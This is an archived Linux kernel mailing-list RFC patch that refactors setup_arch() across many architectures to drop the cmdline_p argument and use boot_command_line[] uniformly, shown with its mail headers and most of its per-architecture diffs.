Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [RFC linux v2] init: make all setup_arch() output string to
 boot_command_line[]
Date: Sat,  7 Apr 2018 09:55:20 +0800
Lines: 817
Approved: news@gmane.org
Message-ID: <20180407015520.2839-1-cugyly@163.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523066086 6913 195.159.176.226 (7 Apr 2018 01:54:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 7 Apr 2018 01:54:46 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, linux-s390@vger.kernel.org,
 linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, user-mode-linux-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Greentime Hu <green.hu@gmail.com>, user-mode-linux-user@lists.sourceforge.net,
 Guan Xuetao <gxt@pku.edu.cn>, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn>, linux-alpha@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linuxppc-dev@lists.ozlabs.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Apr 07 03:54:40 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f4d3v-0001fP-HP
	for gla-linux-snps-arc@m.gmane.org; Sat, 07 Apr 2018 03:54:40 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-Id:Date:Subject:To
	:From:Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=i9qNIGvzBsSucef7AXmno5AMavaJZWcfAS4XW5nIy8c=; b=CpvN6LU/5G7JKK
	5xN5yGA0eMbC25EJrn0MGFEIbHyliaHPLFpvsNubHiUhTH0ZCsnfYPMTfh5/yDwwIoGL8R7sIhdkd
	Yh9N7pHI0F96yip1vtjJp1t0r/Dc3fc7Xt4lR/mpsetysTOR5SgztQrmDyoPrVggWlyhJnuWyxtHy
	T3bdCEuempeD8jMU3MLONNFmtoJnzdg+6OioB3oma4g0gZXI8YeuvRvhttho/IRjz7R0ZWymCo2LP
	86QwtF6ZrpYsRAvtxuHwF2Ib3kHIBgEFCT5L0gA6Co/6aStUkU+jCyWy+fr9FS0Y3hSVmF3IPMD5u
	1NqQiFGCL/aQWdWEyseg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f4d5z-00046w-JL; Sat, 07 Apr 2018 01:56:47 +0000
Original-Received: from m50-133.163.com ([123.125.50.133])
 by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f4d5u-00045C-TD; Sat, 07 Apr 2018 01:56:46 +0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
 s=s110527; h=From:Subject:Date:Message-Id:MIME-Version; bh=HpZf4
 rDUCUpFwDbSKvXgs4mPCIKP+4LRA6ygjCBjwWQ=; b=ZCaauZTiDXZ/BCB6ac4tO
 Oi4UQCTN2R/yZ3gaZ/ZNjV3gmpzOApLBXQhPhQ6R4F2qRiU5ObhvxeGkP2ztzg23
 1XViD6rsw81PEj8tLsypldk1AqGoHJN5xFMurLou5PsWgKAT00iy++eh4ykfu14E
 pqRmNduCpMlbQilPrvY2ZA=
Original-Received: from localhost.localdomain (unknown [180.157.30.106])
 by smtp3 (Coremail) with SMTP id DdGowABnbv4OJchai6KEAg--.24835S2;
 Sat, 07 Apr 2018 09:55:27 +0800 (CST)
X-Mailer: git-send-email 2.14.1
X-CM-TRANSID: DdGowABnbv4OJchai6KEAg--.24835S2
X-Coremail-Antispam: 1Uf129KBjvAXoWftF4kJFW5Xr1kWw4kuw4xXrb_yoW5GF1Dto
 Z8GF1jkr4rWrnayrn8CF1YgFWrXrZIkws0vaykJFWFgr17AF1UAr40gay7uFy5t34rKF9x
 u3Zrua9rC34kJan5n29KB7ZKAUJUUUUU529EdanIXcx71UUUUU7v73VFW2AGmfu7bjvjm3
 AaLaJ3UbIYCTnIWIevJa73UjIFyTuYvjxUTl1vDUUUU
X-Originating-IP: [180.157.30.106]
X-CM-SenderInfo: pfxj5zr16rljoofrz/1tbiqxAh41UMI0GRbwAAs8
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180406_185643_573529_9D86F1BA 
X-CRM114-Status: GOOD (  14.71  )
X-Spam-Score: 3.5 (+++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (3.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 3.6 RCVD_IN_MSPIKE_L3      RBL: Low reputation (-3)
 [123.125.50.133 listed in bl.mailspike.net]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (cugyly[at]163.com)
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 0.0 RCVD_IN_MSPIKE_BL      Mailspike blacklisted
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3741 gmane.linux.kernel:2734860 gmane.linux.ports.mips.general:64367 gmane.linux.ports.ia64:28800 gmane.linux.ports.sh.devel:56800 gmane.linux.ports.sparc:27534 gmane.linux.ports.hexagon:1634 gmane.linux.uml.devel:16760 gmane.linux.uml.user:15428 gmane.linux.ports.arm.kernel:642825 gmane.linux.ports.parisc:28473 gmane.linux.ports.alpha:4931 gmane.linux.ports.ppc64.devel:155835
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3741>

From: yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn>

then all arch boot parameter handled in the same way in start_kernel()

Signed-off-by: yuan linyu <Linyu.Yuan@alcatel-sbell.com.cn>
---
v2:
	fix kbuild issue of parisc

 arch/alpha/kernel/setup.c          |  4 +---
 arch/arc/kernel/setup.c            |  5 +----
 arch/arm/kernel/setup.c            |  7 +------
 arch/arm64/kernel/setup.c          |  4 +---
 arch/c6x/kernel/setup.c            |  5 +----
 arch/h8300/kernel/setup.c          |  3 +--
 arch/hexagon/kernel/setup.c        | 16 +---------------
 arch/ia64/kernel/setup.c           | 15 ++++++++-------
 arch/m68k/kernel/setup_mm.c        |  5 ++---
 arch/m68k/kernel/setup_no.c        |  3 +--
 arch/microblaze/kernel/setup.c     |  4 +---
 arch/mips/kernel/setup.c           | 11 +++--------
 arch/nds32/kernel/setup.c          |  3 +--
 arch/nios2/kernel/setup.c          |  5 +----
 arch/openrisc/kernel/setup.c       |  4 +---
 arch/parisc/kernel/setup.c         | 11 +++--------
 arch/powerpc/kernel/setup-common.c |  4 +---
 arch/riscv/kernel/setup.c          |  4 +---
 arch/s390/kernel/setup.c           |  6 +-----
 arch/sh/kernel/setup.c             |  7 ++++---
 arch/sparc/kernel/setup_32.c       |  9 +++++----
 arch/sparc/kernel/setup_64.c       |  8 ++++----
 arch/um/kernel/um_arch.c           |  3 +--
 arch/unicore32/kernel/setup.c      |  8 +-------
 arch/x86/kernel/setup.c            |  6 +-----
 arch/xtensa/kernel/setup.c         |  9 +++++----
 include/linux/init.h               |  2 +-
 init/main.c                        | 14 +++++++-------
 28 files changed, 60 insertions(+), 125 deletions(-)

diff --git a/arch/alpha/kernel/setup.c b/arch/alpha/kernel/setup.c
index 5576f7646fb6..c74675cf7129 100644
--- a/arch/alpha/kernel/setup.c
+++ b/arch/alpha/kernel/setup.c
@@ -505,8 +505,7 @@ register_cpus(void)
 
 arch_initcall(register_cpus);
 
-void __init
-setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	extern char _end[];
 
@@ -566,7 +565,6 @@ setup_arch(char **cmdline_p)
 		strlcpy(command_line, COMMAND_LINE, sizeof command_line);
 	}
 	strcpy(boot_command_line, command_line);
-	*cmdline_p = command_line;
 
 	/* 
 	 * Process command-line arguments.
diff --git a/arch/arc/kernel/setup.c b/arch/arc/kernel/setup.c
index b2cae79a25d7..9cfdcf42bf28 100644
--- a/arch/arc/kernel/setup.c
+++ b/arch/arc/kernel/setup.c
@@ -456,7 +456,7 @@ static inline int is_kernel(unsigned long addr)
 	return 0;
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifdef CONFIG_ARC_UBOOT_SUPPORT
 	/* make sure that uboot passed pointer to cmdline/dtb is valid */
@@ -487,9 +487,6 @@ void __init setup_arch(char **cmdline_p)
 		}
 	}
 
-	/* Save unparsed command line copy for /proc/cmdline */
-	*cmdline_p = boot_command_line;
-
 	/* To force early parsing of things like mem=xxx */
 	parse_early_param();
 
diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
index fc40a2b40595..1025e3a37689 100644
--- a/arch/arm/kernel/setup.c
+++ b/arch/arm/kernel/setup.c
@@ -153,7 +153,6 @@ EXPORT_SYMBOL(elf_platform);
 
 static const char *cpu_name;
 static const char *machine_name;
-static char __initdata cmd_line[COMMAND_LINE_SIZE];
 const struct machine_desc *machine_desc __initdata;
 
 static union { char c[4]; unsigned long l; } endian_test __initdata = { { 'l', '?', '?', 'b' } };
@@ -1061,7 +1060,7 @@ void __init hyp_mode_check(void)
 #endif
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	const struct machine_desc *mdesc;
 
@@ -1091,10 +1090,6 @@ void __init setup_arch(char **cmdline_p)
 	init_mm.end_data   = (unsigned long) _edata;
 	init_mm.brk	   = (unsigned long) _end;
 
-	/* populate cmd_line too for later use, preserving boot_command_line */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	early_fixmap_init();
 	early_ioremap_init();
 
diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
index 30ad2f085d1f..c7ba4d32e7f7 100644
--- a/arch/arm64/kernel/setup.c
+++ b/arch/arm64/kernel/setup.c
@@ -243,15 +243,13 @@ static void __init request_standard_resources(void)
 
 u64 __cpu_logical_map[NR_CPUS] = { [0 ... NR_CPUS-1] = INVALID_HWID };
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	init_mm.start_code = (unsigned long) _text;
 	init_mm.end_code   = (unsigned long) _etext;
 	init_mm.end_data   = (unsigned long) _edata;
 	init_mm.brk	   = (unsigned long) _end;
 
-	*cmdline_p = boot_command_line;
-
 	early_fixmap_init();
 	early_ioremap_init();
 
diff --git a/arch/c6x/kernel/setup.c b/arch/c6x/kernel/setup.c
index 786e36e2f61d..012c8e746889 100644
--- a/arch/c6x/kernel/setup.c
+++ b/arch/c6x/kernel/setup.c
@@ -294,16 +294,13 @@ notrace void __init machine_init(unsigned long dt_ptr)
 	parse_early_param();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 	struct memblock_region *reg;
 
 	printk(KERN_INFO "Initializing kernel\n");
 
-	/* Initialize command line */
-	*cmdline_p = boot_command_line;
-
 	memory_end = ram_end;
 	memory_end &= ~(PAGE_SIZE - 1);
 
diff --git a/arch/h8300/kernel/setup.c b/arch/h8300/kernel/setup.c
index a4d0470c10a9..bb54c2087f13 100644
--- a/arch/h8300/kernel/setup.c
+++ b/arch/h8300/kernel/setup.c
@@ -117,7 +117,7 @@ static void __init bootmem_init(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	unflatten_and_copy_device_tree();
 
@@ -131,7 +131,6 @@ void __init setup_arch(char **cmdline_p)
 
 	if (*command_line)
 		strcpy(boot_command_line, command_line);
-	*cmdline_p = boot_command_line;
 
 	parse_early_param();
 
diff --git a/arch/hexagon/kernel/setup.c b/arch/hexagon/kernel/setup.c
index 6981949f5df3..a0348dfad265 100644
--- a/arch/hexagon/kernel/setup.c
+++ b/arch/hexagon/kernel/setup.c
@@ -34,7 +34,6 @@
 #include <asm/vm_mmu.h>
 #include <asm/time.h>
 
-char cmd_line[COMMAND_LINE_SIZE];
 static char default_command_line[COMMAND_LINE_SIZE] __initdata = CONFIG_CMDLINE;
 
 int on_simulator;
@@ -44,12 +43,7 @@ void calibrate_delay(void)
 	loops_per_jiffy = thread_freq_mhz * 1000000 / HZ;
 }
 
-/*
- * setup_arch -  high level architectural setup routine
- * @cmdline_p: pointer to pointer to command-line arguments
- */
-
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	char *p = &external_cmdline_buffer;
 
@@ -84,14 +78,6 @@ void __init setup_arch(char **cmdline_p)
 		strlcpy(boot_command_line, default_command_line,
 			COMMAND_LINE_SIZE);
 
-	/*
-	 * boot_command_line and the value set up by setup_arch
-	 * are both picked up by the init code. If no reason to
-	 * make them different, pass the same pointer back.
-	 */
-	strlcpy(cmd_line, boot_command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = cmd_line;
-
 	parse_early_param();
 
 	setup_arch_memory();
diff --git a/arch/ia64/kernel/setup.c b/arch/ia64/kernel/setup.c
index dee56bcb993d..75196264dd4e 100644
--- a/arch/ia64/kernel/setup.c
+++ b/arch/ia64/kernel/setup.c
@@ -527,15 +527,16 @@ int __init reserve_elfcorehdr(u64 *start, u64 *end)
 
 #endif /* CONFIG_PROC_VMCORE */
 
-void __init
-setup_arch (char **cmdline_p)
+void __init setup_arch (void)
 {
+	char *cmdline_p;
+
 	unw_init();
 
 	ia64_patch_vtop((u64) __start___vtop_patchlist, (u64) __end___vtop_patchlist);
 
-	*cmdline_p = __va(ia64_boot_param->command_line);
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	cmdline_p = __va(ia64_boot_param->command_line);
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 
 	efi_init();
 	io_port_init();
@@ -546,12 +547,12 @@ setup_arch (char **cmdline_p)
 	 * that ia64_mv is initialised before any command line
 	 * settings may cause console setup to occur
 	 */
-	machvec_init_from_cmdline(*cmdline_p);
+	machvec_init_from_cmdline(cmdline_p);
 #endif
 
 	parse_early_param();
 
-	if (early_console_setup(*cmdline_p) == 0)
+	if (early_console_setup(cmdline_p) == 0)
 		mark_bsp_online();
 
 #ifdef CONFIG_ACPI
@@ -618,7 +619,7 @@ setup_arch (char **cmdline_p)
 	if (!nomca)
 		ia64_mca_init();
 
-	platform_setup(cmdline_p);
+	platform_setup(&cmdline_p);
 #ifndef CONFIG_IA64_HP_SIM
 	check_sal_cache_flush();
 #endif
diff --git a/arch/m68k/kernel/setup_mm.c b/arch/m68k/kernel/setup_mm.c
index dd25bfc22fb4..38ccaf3e0274 100644
--- a/arch/m68k/kernel/setup_mm.c
+++ b/arch/m68k/kernel/setup_mm.c
@@ -222,7 +222,7 @@ static void __init m68k_parse_bootinfo(const struct bi_record *record)
 #endif
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifndef CONFIG_SUN3
 	int i;
@@ -272,8 +272,7 @@ void __init setup_arch(char **cmdline_p)
 	m68k_command_line[CL_SIZE - 1] = 0;
 #endif /* CONFIG_BOOTPARAM */
 	process_uboot_commandline(&m68k_command_line[0], CL_SIZE);
-	*cmdline_p = m68k_command_line;
-	memcpy(boot_command_line, *cmdline_p, CL_SIZE);
+	memcpy(boot_command_line, m68k_command_line, CL_SIZE);
 
 	parse_early_param();
 
diff --git a/arch/m68k/kernel/setup_no.c b/arch/m68k/kernel/setup_no.c
index a98af1018201..8b244d4ea603 100644
--- a/arch/m68k/kernel/setup_no.c
+++ b/arch/m68k/kernel/setup_no.c
@@ -84,7 +84,7 @@ void (*mach_power_off)(void);
 #define	CPU_INSTR_PER_JIFFY	16
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 
@@ -143,7 +143,6 @@ void __init setup_arch(char **cmdline_p)
 		 __bss_stop, memory_start, memory_start, memory_end);
 
 	/* Keep a copy of command line */
-	*cmdline_p = &command_line[0];
 	memcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
 	boot_command_line[COMMAND_LINE_SIZE-1] = 0;
 
diff --git a/arch/microblaze/kernel/setup.c b/arch/microblaze/kernel/setup.c
index be98ffe28ca8..632b7546effc 100644
--- a/arch/microblaze/kernel/setup.c
+++ b/arch/microblaze/kernel/setup.c
@@ -50,10 +50,8 @@ unsigned int boot_cpuid;
  */
 char cmd_line[COMMAND_LINE_SIZE] __attribute__ ((section(".data")));
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	console_verbose();
 
 	unflatten_device_tree();
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 5f8b0a9e30b3..2bff67be95d6 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -64,7 +64,6 @@ EXPORT_SYMBOL(mips_machtype);
 
 struct boot_mem_map boot_mem_map;
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
 char __initdata arcs_cmdline[COMMAND_LINE_SIZE];
 
 #ifdef CONFIG_CMDLINE_BOOL
@@ -829,7 +828,7 @@ static void __init request_crashkernel(struct resource *res)
 #define BUILTIN_EXTEND_WITH_PROM	\
 	IS_ENABLED(CONFIG_MIPS_CMDLINE_BUILTIN_EXTEND)
 
-static void __init arch_mem_init(char **cmdline_p)
+static void __init arch_mem_init(void)
 {
 	struct memblock_region *reg;
 	extern void plat_mem_setup(void);
@@ -881,10 +880,6 @@ static void __init arch_mem_init(char **cmdline_p)
 	pr_info("Determined physical RAM map:\n");
 	print_memory_map();
 
-	strlcpy(command_line, boot_command_line, COMMAND_LINE_SIZE);
-
-	*cmdline_p = command_line;
-
 	parse_early_param();
 
 	if (usermem) {
@@ -1002,7 +997,7 @@ static void __init prefill_possible_map(void)
 static inline void prefill_possible_map(void) {}
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	cpu_probe();
 	mips_cm_probe();
@@ -1023,7 +1018,7 @@ void __init setup_arch(char **cmdline_p)
 #endif
 #endif
 
-	arch_mem_init(cmdline_p);
+	arch_mem_init();
 
 	resource_init();
 	plat_smp_setup();
diff --git a/arch/nds32/kernel/setup.c b/arch/nds32/kernel/setup.c
index ba910e9e4ecb..7df72753dd9a 100644
--- a/arch/nds32/kernel/setup.c
+++ b/arch/nds32/kernel/setup.c
@@ -276,7 +276,7 @@ static void __init setup_memory(void)
 	memblock_dump_all();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	early_init_devtree( __dtb_start);
 
@@ -303,7 +303,6 @@ void __init setup_arch(char **cmdline_p)
 			conswitchp = &dummy_con;
 	}
 
-	*cmdline_p = boot_command_line;
 	early_trap_init();
 }
 
diff --git a/arch/nios2/kernel/setup.c b/arch/nios2/kernel/setup.c
index 926a02b17b31..e8d140f1d40c 100644
--- a/arch/nios2/kernel/setup.c
+++ b/arch/nios2/kernel/setup.c
@@ -141,7 +141,7 @@ asmlinkage void __init nios2_boot_init(unsigned r4, unsigned r5, unsigned r6,
 	parse_early_param();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int bootmap_size;
 
@@ -156,9 +156,6 @@ void __init setup_arch(char **cmdline_p)
 	init_mm.brk = (unsigned long) _end;
 	init_task.thread.kregs = &fake_regs;
 
-	/* Keep a copy of command line */
-	*cmdline_p = boot_command_line;
-
 	min_low_pfn = PFN_UP(memory_start);
 	max_low_pfn = PFN_DOWN(memory_end);
 	max_mapnr = max_low_pfn;
diff --git a/arch/openrisc/kernel/setup.c b/arch/openrisc/kernel/setup.c
index 9d28ab14d139..d73e1faa88d1 100644
--- a/arch/openrisc/kernel/setup.c
+++ b/arch/openrisc/kernel/setup.c
@@ -283,7 +283,7 @@ void calibrate_delay(void)
 		(loops_per_jiffy / (5000 / HZ)) % 100, loops_per_jiffy);
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	unflatten_and_copy_device_tree();
 
@@ -320,8 +320,6 @@ void __init setup_arch(char **cmdline_p)
 		conswitchp = &dummy_con;
 #endif
 
-	*cmdline_p = boot_command_line;
-
 	printk(KERN_INFO "OpenRISC Linux -- http://openrisc.io\n");
 }
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 0e9675f857a5..0a78a897959a 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -51,8 +51,6 @@
 #include <asm/unwind.h>
 #include <asm/smp.h>
 
-static char __initdata command_line[COMMAND_LINE_SIZE];
-
 /* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
 struct proc_dir_entry * proc_runway_root __read_mostly = NULL;
 struct proc_dir_entry * proc_gsc_root __read_mostly = NULL;
@@ -63,7 +61,7 @@ int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
-void __init setup_cmdline(char **cmdline_p)
+void __init setup_cmdline(void)
 {
 	extern unsigned int boot_args[];
 
@@ -85,9 +83,6 @@ void __init setup_cmdline(char **cmdline_p)
 		}
 #endif
 	}
-
-	strcpy(command_line, boot_command_line);
-	*cmdline_p = command_line;
 }
 
 #ifdef CONFIG_PA11
@@ -119,7 +114,7 @@ void __init dma_ops_init(void)
 
 extern void collect_boot_cpu_data(void);
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 #ifdef CONFIG_64BIT
 	extern int parisc_narrow_firmware;
@@ -160,7 +155,7 @@ void __init setup_arch(char **cmdline_p)
 	}
 #endif
 	setup_pdc();
-	setup_cmdline(cmdline_p);
+	setup_cmdline();
 	collect_boot_cpu_data();
 	do_memory_inventory();  /* probe for physical memory */
 	parisc_cache_init();
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index d73ec518ef80..b88ce4afaafd 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -839,10 +839,8 @@ static __init void print_system_info(void)
  * Called into from start_kernel this initializes memblock, which is used
  * to manage page allocation until mem_init is called.
  */
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	/* Set a half-reasonable default so udelay does something sensible */
 	loops_per_jiffy = 500000000 / HZ;
 
diff --git a/arch/riscv/kernel/setup.c b/arch/riscv/kernel/setup.c
index c11f40c1b2a8..dee21fd2f5c2 100644
--- a/arch/riscv/kernel/setup.c
+++ b/arch/riscv/kernel/setup.c
@@ -192,10 +192,8 @@ static void __init setup_bootmem(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
-	*cmdline_p = boot_command_line;
-
 	parse_early_param();
 
 	init_mm.start_code = (unsigned long) _stext;
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index a6a91f01a17a..6addb5afc59e 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -867,7 +867,7 @@ static void __init setup_task_size(void)
  * was printed.
  */
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
         /*
          * print what head.S has found out about the machine
@@ -880,10 +880,6 @@ void __init setup_arch(char **cmdline_p)
 	else if (MACHINE_IS_LPAR)
 		pr_info("Linux is running natively in 64-bit mode\n");
 
-	/* Have one command line that is parsed and saved in /proc/cmdline */
-	/* boot_command_line has been already set up in early.c */
-	*cmdline_p = boot_command_line;
-
         ROOT_DEV = Root_RAM0;
 
 	/* Is init_mm really needed? */
diff --git a/arch/sh/kernel/setup.c b/arch/sh/kernel/setup.c
index b95c411d0333..c46646f0c3c5 100644
--- a/arch/sh/kernel/setup.c
+++ b/arch/sh/kernel/setup.c
@@ -270,8 +270,10 @@ void __ref sh_fdt_init(phys_addr_t dt_phys)
 }
 #endif
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
+	char *cmdline_p = command_line;
+
 	enable_mmu();
 
 	ROOT_DEV = old_decode_dev(ORIG_ROOT_DEV);
@@ -319,7 +321,6 @@ void __init setup_arch(char **cmdline_p)
 
 	/* Save unparsed command line copy for /proc/cmdline */
 	memcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
 
 	parse_early_param();
 
@@ -338,7 +339,7 @@ void __init setup_arch(char **cmdline_p)
 
 	/* Perform the machine specific initialisation */
 	if (likely(sh_mv.mv_setup))
-		sh_mv.mv_setup(cmdline_p);
+		sh_mv.mv_setup(&cmdline_p);
 
 	plat_smp_setup();
 }
diff --git a/arch/sparc/kernel/setup_32.c b/arch/sparc/kernel/setup_32.c
index 13664c377196..5bced97cc5f8 100644
--- a/arch/sparc/kernel/setup_32.c
+++ b/arch/sparc/kernel/setup_32.c
@@ -294,19 +294,20 @@ void __init sparc32_start_kernel(struct linux_romvec *rp)
 	start_kernel();
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	int i;
+	char *cmdline_p;
 	unsigned long highest_paddr;
 
 	sparc_ttable = &trapbase;
 
 	/* Initialize PROM console and command line. */
-	*cmdline_p = prom_getbootargs();
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	cmdline_p = prom_getbootargs();
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 	parse_early_param();
 
-	boot_flags_init(*cmdline_p);
+	boot_flags_init(cmdline_p);
 
 	register_console(&prom_early_console);
 
diff --git a/arch/sparc/kernel/setup_64.c b/arch/sparc/kernel/setup_64.c
index 7944b3ca216a..9f6edffa6a4b 100644
--- a/arch/sparc/kernel/setup_64.c
+++ b/arch/sparc/kernel/setup_64.c
@@ -630,14 +630,14 @@ void __init alloc_irqstack_bootmem(void)
 	}
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	/* Initialize PROM console and command line. */
-	*cmdline_p = prom_getbootargs();
-	strlcpy(boot_command_line, *cmdline_p, COMMAND_LINE_SIZE);
+	char *cmdline_p = prom_getbootargs();
+	strlcpy(boot_command_line, cmdline_p, COMMAND_LINE_SIZE);
 	parse_early_param();
 
-	boot_flags_init(*cmdline_p);
+	boot_flags_init(cmdline_p);
 #ifdef CONFIG_EARLYFB
 	if (btext_find_display())
 #endif
diff --git a/arch/um/kernel/um_arch.c b/arch/um/kernel/um_arch.c
index a818ccef30ca..73d62cf96149 100644
--- a/arch/um/kernel/um_arch.c
+++ b/arch/um/kernel/um_arch.c
@@ -339,7 +339,7 @@ int __init __weak read_initrd(void)
 	return 0;
 }
 
-void __init setup_arch(char **cmdline_p)
+void __init setup_arch(void)
 {
 	stack_protections((unsigned long) &init_thread_info);
 	setup_physmem(uml_physmem, uml_reserved, physmem_size, highmem);
@@ -348,7 +348,6 @@ void __init setup_arch(char **cmdline_p)
 
 	paging_init();
 	strlcpy(boot_command_line, command_line, COMMAND_LINE_SIZE);
-	*cmdline_p = command_line;
 	setup_hostinfo(host_info, sizeof host_info);
 }
